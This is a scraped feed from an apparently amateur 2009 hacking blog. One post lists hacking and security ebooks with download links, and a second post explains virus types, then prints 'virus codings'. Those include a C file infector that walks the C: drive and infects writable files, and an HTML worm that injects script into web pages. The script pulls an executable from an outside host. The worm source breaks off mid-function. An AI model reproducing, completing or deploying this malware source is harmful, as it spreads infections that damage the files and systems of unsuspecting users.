0);"&gt;http://www.insecure.in/ebooks/hacker_highschool_13ebooks.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;CheatBook-2008&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;Cheat-Book (02/2008) - Issue February 2008 - A Cheat-Code Tracker with Hints for several popular PC Action and adventure Games. 488 PC Games, 53 Walktroughs for PC and 114 Console Cheats are represented in this new version from Strategy Games, Adventure Games to Action Games. This Database represents all genres and focuses on recent releases.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/cheatbook_2008.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Windows-XP Hacks&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;Completely revised and updated, this smart collection of insider tips and tricks covers the XP operating system from start to finish, including all the new features that come with Service Pack 2 (SP2).&lt;br /&gt; You'll also find time saving hacks for security, file distribution, digital media, web browsing, and more.&lt;br /&gt; An ideal all-in-one resource for XP beginners, as well as more experienced power users.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/winxp_hacks.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;A Little Black Book&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;"A Little Black Book Of Computer Viruses" is the first in the series of three. Deeply covers all the basic types along with source codes. It focuses on topics like:- types of viruses, functional elements of viruses, tools used for writing viruses, storage for viruses, installation in memory, etc. Source codes also given for TIMID, INTRUDER, KILROY, STEALTH, Basic Boot Sector, etc. viruses.&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/black_book_of_compuer_viruses.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacking GPS&lt;/u&gt; :-&lt;/b&gt;                                      &lt;br /&gt;Hacking GPS shows you how to get more out of owning a GPS receiver.                    Written with the Extreme Technology community in mind, this                    book shows you how to do a variety of different things with                    your receiver:&lt;br /&gt;                    * Build custom cabling&lt;br /&gt;                    * Protecting your GPS from the elements&lt;br /&gt;                    * Connecting your GPS to a PC or PDA&lt;br /&gt;                    * Build and mount external antennas&lt;br /&gt;                    * Load new, modified, firmware onto your device&lt;br /&gt;                    * Access secret diagnostic screens and test utilities&lt;br /&gt;                  * GPS games &amp;amp; much more...!&lt;br /&gt;                    If you've got a GPS and you want to be able to make the most                      of it then this is the book for you!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/hacking_gps.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(51, 51, 255);"&gt;Oracle Hackers Handbook&lt;/u&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; :-&lt;/span&gt;&lt;br /&gt;&lt;/b&gt; While Oracle continues to improve the security features of its                    product, it still has a long way to go. David Litchfield has                    devoted years to relentlessly searching out the flaws in this                    ubiquitous database system and creating defenses against them.                    Now he offers you his complete arsenal to assess and defend                    your own Oracle systems.&lt;br /&gt;                  This in-depth guide explores every technique and tool used                      by black hat hackers to invade and compromise Oracle. It shows                      you how to find the weak spots and defend them. Without that                      knowledge, you have little chance of keeping your databases                      truly secure.&lt;br /&gt;                  Discover how to deal with the security flaws revealed in                      the Oracle RDBMS.                     Explore some never-before-published forays into Oracle security                      holes and learn to defend them from attack.                  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/oracle_hackers_handbook.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Security &amp;amp; Cryptography&lt;/u&gt; :-&lt;/b&gt;                                      &lt;br /&gt;6th International Conference, SCN 2008, Amalfi, Italy, September                      10-12, 2008, Proceedings&lt;br /&gt;                  &lt;p&gt;Editors: Rafail Ostrovsky, Roberto De Prisco and Ivan Visconti&lt;br /&gt;                    Hardcover: 423 pages&lt;br /&gt;                    Publisher: Springer; 1 edition (September 1, 2008)&lt;br /&gt;                    Language: English&lt;br /&gt;                    ISBN-10: 3540858547&lt;br /&gt;                    ISBN-13: 978-3540858546&lt;br /&gt;                    Format: pdf&lt;br /&gt;                    This book constitutes the refereed proceedings of the 6th                      International Conference on Security and Cryptology for Networks,                      SCN 2008, held in Amalfi, Italy, in September 2008&lt;/p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/sec_crypt_networks.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Shellcoder's Handbook&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;                                     The Shellcoders Handbook, discovering and exploiting security                    holes is the second edition. It covers introduction to exploitation:                    linux on x86 contains stack overflows, shellcodes, format string                    bugs, heap overflows. Also for windows platform and solaris                    exploitation too. OS X shellcode, cisco ios exploitaion, unix                    kernel overflows, windows kernel hacking, protection mechnism                    and much more.....!&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/the_shellcoders_handbook.rar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%; color: rgb(51, 51, 255);"&gt;&lt;u&gt;Hacking Exposed VoIP&lt;/u&gt; :-&lt;/b&gt;&lt;br /&gt;This book illuminates how remote users can probe, sniff, and modify your phones, phone switches, and networks that offer VoIP services. Most importantly, the authors offer solutions to mitigate the risk of deploying VoIP technologies.&lt;br /&gt;Block debilitating VoIP attacks by learning how to look at your network and devices through the eyes of the malicious intruder. Hacking Exposed VoIP shows you, step-by-step, how online criminals perform reconnaissance, gain access, steal data, and penetrate vulnerable systems. All hardware-specific and network-centered security issues are covered alongside detailed countermeasures, in-depth examples, and hands-on implementation techniques.&lt;br /&gt;Inside, you'll learn how to defend against the latest DoS, man-in-the-middle, call flooding, eavesdropping, VoIP fuzzing, signaling and audio manipulation, Voice SPAM/SPIT, and voice phishing attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/hacking_exposed_voip.rar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(51, 51, 255);"&gt;Google Apps Hacks&lt;/u&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; :-&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;Can Google applications really become an alternative to the venerable Microsoft Office suite? Conventional wisdom may say no, but practical wisdom says otherwise. Right now, 100,000 small businesses are currently running trials of Google office applications. So are large corporations such as General Electric and Proctor &amp;amp; Gamble. Google Apps Hacks gets you in on the action with several ingenious ways to push Google's web, mobile, and desktop apps to the limit.&lt;br /&gt;The scores of clever hacks and workarounds in this book help you get more than the obvious out of a whole host of Google's web-based applications for word processing, spreadsheets, PowerPoint-style presentations, email, calendar, and more by giving you ways to exploit the suite's unique network functionality.&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/google_apps_hacks.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(51, 51, 255);"&gt;Botnets: The Killer Web Applications&lt;/u&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; :-&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;The book begins with real world cases of botnet attacks to underscore the need for action. Next the book will explain botnet fundamentals using real world examples. These chapters will cover what they are, how they operate, and the environment and technology that makes them possible. The following chapters will analyze botnets for opportunities to detect, track, and remove them. Then the book will describe intelligence gathering efforts and results obtained to date. Public domain tools like OurMon, developed by Jim Binkley of Portland State University, will be described in detail along with discussions of other tools and resources that are useful in the fight against Botnets.&lt;br /&gt;* This is the first book to explain the newest internet threat Botnets, zombie armies, bot herders, what is being done, and what you can do to protect your enterprise.&lt;br /&gt;* Botnets are the most complicated and difficult threat the hacker world has unleashed - read how to protect yourself.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/botnets_the_killer_web_applications.rar&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="font-size: 115%;"&gt;&lt;u style="color: rgb(51, 51, 255);"&gt;Hacking Exposed - 6&lt;/u&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; :-&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;The world's bestselling computer security book--fully expanded and updated.&lt;br /&gt;* New chapter on hacking hardware, including lock bumping, access card cloning, RFID hacks, USB U3 exploits, and Bluetooth device hijacking * Updated Windows attacks and countermeasures, including new Vista and Server 2008 vulnerabilities and Metasploit exploits * The latest UNIX Trojan and rootkit techniques and dangling pointer and input validation exploits * New wireless and RFID security tools, including multilayered encryption and gateways * All-new tracerouting and eavesdropping techniques used to target network hardware and Cisco devices * Updated DoS, man-in-the-middle, DNS poisoning, and buffer overflow coverage * VPN and VoIP exploits, including Google and TFTP tricks, SIP flooding, and IPsec hacking * Fully updated chapters on hacking the Internet user, web hacking, and securing code&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Download Link:-&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://www.insecure.in/ebooks/hacking_exposed_6.rar&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1866310394240400324-7648269946337865945?l=system-hackingtricks.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/7648269946337865945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1866310394240400324/posts/default/7648269946337865945'/><link rel='alternate' type='text/html' href='http://system-hackingtricks.blogspot.com/2009/11/ethical-hacking-ebooks.html' title='Ethical Hacking EBooks'/><author><name>Stubalooo</name><uri>http://www.blogger.com/profile/01592047995888851218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1866310394240400324.post-7452349619246479527</id><published>2009-11-26T15:03:00.000-08:00</published><updated>2009-11-26T15:34:21.356-08:00</updated><title type='text'>Computer Viruses</title><content type='html'>&lt;strong style="color: rgb(0, 51, 255); font-size: 110%;"&gt;What is              a Computer Virus ?&lt;/strong&gt;&lt;br /&gt;         A potentially damaging computer programme capable of reproducing itself              causing great harm to files or other programs without permission or              knowledge of the user.              &lt;p&gt;&lt;strong style="color: rgb(0, 51, 255); font-size: 110%;"&gt;Types of viruses :-&lt;/strong&gt;&lt;br /&gt;           The different types of viruses are as follows-&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;1) Boot Sector Virus :-&lt;/strong&gt;                Boot sector viruses infect either the master boot record of the                hard disk or the floppy drive. The boot record program responsible                for the booting of operating system is replaced by the virus. The                virus either copies the master boot program to another part of the                hard disk or overwrites it. They infect a computer when it boots                up or when it accesses the infected floppy disk in the floppy drive.                i.e. Once a system is infected with a boot-sector virus, any non-write-protected                disk accessed by this system will become infected.&lt;br /&gt;       &lt;br /&gt;           Examples of boot- sector viruses are Michelangelo and Stoned.&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;2) File or Program Viruses :-&lt;/strong&gt;                Some files/programs, when executed, load the virus in the memory                and perform predefined functions to infect the system. They infect                program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS                .&lt;br /&gt;       &lt;br /&gt;           Some common file viruses are Sunday, Cascade.&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;3) Multipartite Viruses :-&lt;/strong&gt;                A multipartite virus is a computer virus that infects multiple different                target platforms, and remains recursively infective in each target.                It attempts to attack both the boot sector and the executable, or                programs, files at the same time. When the virus attaches to the                boot sector, it will in turn affect the system’s files, and                when the virus attaches to the files, it will in turn infect the                boot sector.&lt;br /&gt;           This type of virus can re-infect a system over and over again if                all parts of the virus are not eradicated.&lt;br /&gt;       &lt;br /&gt;           Ghostball was the first multipartite virus, discovered by Fridrik                Skulason in October 1989.&lt;br /&gt;           Other examples are Invader, Flip, etc.&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;4) Stealth Viruses :-&lt;/strong&gt;                These viruses are stealthy in nature means it uses various methods                for hiding themselves to avoid detection. They sometimes remove                themselves from the memory temporarily to avoid detection by antivirus.                They are somewhat difficult to detect. When an antivirus program                tries to detect the virus, the stealth virus feeds the antivirus                program a clean image of the file or boot sector.&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;5) Polymorphic Viruses :-&lt;/strong&gt;                Polymorphic viruses have the ability to mutate implying that they                change the viral code known as the signature each time they spread                or infect. Thus an antivirus program which is scanning for specific                virus codes unable to detect it's presense.&lt;br /&gt;       &lt;br /&gt;           &lt;strong style="color: rgb(0, 51, 255);"&gt;6) Macro Viruses :-&lt;/strong&gt;                A macro virus is a computer virus that "infects" a Microsoft                Word or similar application and causes a sequence of actions to                be performed automatically when the application is started or something                else triggers it. Macro viruses tend to be surprising but relatively                harmless.A macro virus is often spread as an e-mail virus. Well-known                examples are Concept Virus and Melissa Worm.&lt;/p&gt;&lt;h3&gt;Viruses Codings&lt;/h3&gt;&lt;u&gt;1) The ILOVEYOU Worm (VBS/Loveletter)&lt;/u&gt;&lt;br /&gt;&lt;u&gt;2) Mawanella                      E-Mail Worm&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 11"&gt;&lt;meta name="Originator" content="Microsoft Word 11"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CKUMARA%7E1.IHO%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} pre 	{margin:0in; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Courier New"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.25in 1.0in 1.25in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} table.MsoTableGrid 	{mso-style-name:"Table Grid"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	border:solid windowtext 1.0pt; 	mso-border-alt:solid windowtext .5pt; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-border-insideh:.5pt solid windowtext; 	mso-border-insidev:.5pt solid windowtext; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; width: 420.25pt; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0" width="560"&gt;  &lt;tbody&gt;&lt;tr style="height: 486.6pt;"&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0in 5.4pt; width: 420.25pt; height: 486.6pt;" width="560" valign="top"&gt;&lt;pre&gt;int main()&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;FreeConsole();&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DWORD dummy;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;char * DirPath = "C:\\";&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WIN32_FIND_DATA FindFileData;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;HANDLE hFind = INVALID_HANDLE_VALUE, hThread;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;char * file = strcombine(DirPath, "*");&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;hFind = FindFirstFile(file, &amp;amp;FindFileData);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;if(hFind != INVALID_HANDLE_VALUE)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;if(FindFileData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY){&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;if(canWrite(FindFileData.dwFileAttributes)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;infectFile(DirPath, FindFileData.cFileName);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;else if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY &amp;amp;&amp;amp; isFile(FindFileData.cFileName))&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SearchDirectory, strcombine(DirPath, FindFileData.cFileName), 0, &amp;amp;dummy);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WaitForSingleObject(hThread, INFINITE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;while (FindNextFile(hFind, &amp;amp;FindFileData) != 0)&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;if(FindFileData.dwFileAttributes != FILE_ATTRIBUTE_DIRECTORY){&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;if(canWrite(FindFileData.dwFileAttributes)){&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;infectFile(DirPath, FindFileData.cFileName);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;else if(FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY &amp;amp;&amp;amp; isFile(FindFileData.cFileName))&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SearchDirectory, strcombine(DirPath, FindFileData.cFileName), 0, &amp;amp;dummy);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WaitForSingleObject(hThread, INFINITE);&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;   &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="color:black;"&gt;&lt;span style=""&gt;                                                &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;span style="font-weight: bold;"&gt;Flash Drive Virus&lt;br /&gt;&lt;/span&gt;&lt;table class="MsoTableGrid" style="border: medium none ; width: 420.25pt; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0" width="560"&gt;&lt;tbody&gt;&lt;tr style="height: 486.6pt;"&gt;&lt;td style="border: 1pt solid windowtext; padding: 0in 5.4pt; width: 420.25pt; height: 486.6pt;" width="560" valign="top"&gt;&lt;pre&gt;查????? ????? ???????? ????&lt;br /&gt;&lt;br /&gt;html worm&lt;br /&gt;// name: win32.htmlworm&lt;br /&gt;// author: wargame&lt;br /&gt;// compiler: borland c++&lt;br /&gt;// description: this worm spreads by adding a link to itself in html files&lt;br /&gt;// improvements: you could add a link to a page containing an ie exploits :)&lt;br /&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;string&gt;&lt;br /&gt;using namespace std; // :)&lt;br /&gt;&lt;br /&gt;// this function does the real work&lt;br /&gt;void htmlspread(char *htmlfile)&lt;br /&gt;{&lt;br /&gt;handle html_fd;&lt;br /&gt;dword html_filesize,read_bytes,written_bytes;&lt;br /&gt;char *c_htmlcode = null;&lt;br /&gt;string *htmlcode = null; // make it simpler&lt;br /&gt;long pos;&lt;br /&gt;&lt;br /&gt;// open the html file&lt;br /&gt;html_fd = createfile(htmlfile,generic_read|generic_write,&lt;br /&gt;file_share_read|file_share_write,null,open_existing,file_attribute_normal,null);&lt;br /&gt;&lt;br /&gt;if(html_fd == invalid_handle_value)&lt;br /&gt;{&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// get file size&lt;br /&gt;html_filesize = getfilesize(html_fd,null);&lt;br /&gt;&lt;br /&gt;// allocate enough memory&lt;br /&gt;c_htmlcode = (char *)malloc(html_filesize);&lt;br /&gt;&lt;br /&gt;if(c_htmlcode == null)&lt;br /&gt;{&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// read entire file&lt;br /&gt;if(readfile(html_fd,c_htmlcode,html_filesize,&amp;amp;read_bytes,null) == 0)&lt;br /&gt;{&lt;br /&gt;closehandle(html_fd);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// create a string object&lt;br /&gt;htmlcode = new string(c_htmlcode);&lt;br /&gt;free(c_htmlcode);&lt;br /&gt;&lt;br /&gt;// already infected ?&lt;br /&gt;if(htmlcode-&gt;find("&lt;!-- htmlworm by [wargame,#eof] !--&gt;") == string::npos)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;pos = htmlcode-&gt;find("");&lt;br /&gt;&lt;br /&gt;if(pos == string::npos)&lt;br /&gt;{&lt;br /&gt;pos = htmlcode-&gt;find("");&lt;br /&gt;&lt;br /&gt;if(pos == string::npos)&lt;br /&gt;{&lt;br /&gt;closehandle(html_fd);&lt;br /&gt;delete htmlcode;&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// add link&lt;br /&gt;htmlcode-&gt;replace(pos,7,"\r\n&lt;script language="\"&gt;window.open('http://hexter.host.sk/artwork.exe')&lt;/script&gt;\r\n");&lt;br /&gt;&lt;br /&gt;// write new file&lt;br /&gt;setfilepointer(html_fd,0,0,file_begin);&lt;br /&gt;writefile(html_fd,htmlcode-&gt;c_str(),htmlcode-&gt;size(),&amp;amp;written_bytes,null);&lt;br /&gt;// infection mark&lt;br /&gt;writefile(html_fd,"&lt;!-- htmlworm by [wargame,#eof] !--&gt;",36,&amp;amp;written_bytes,null);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// close all&lt;br /&gt;closehandle(html_fd);&lt;br /&gt;delete htmlcode;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// add worm to startup list&lt;br /&gt;void 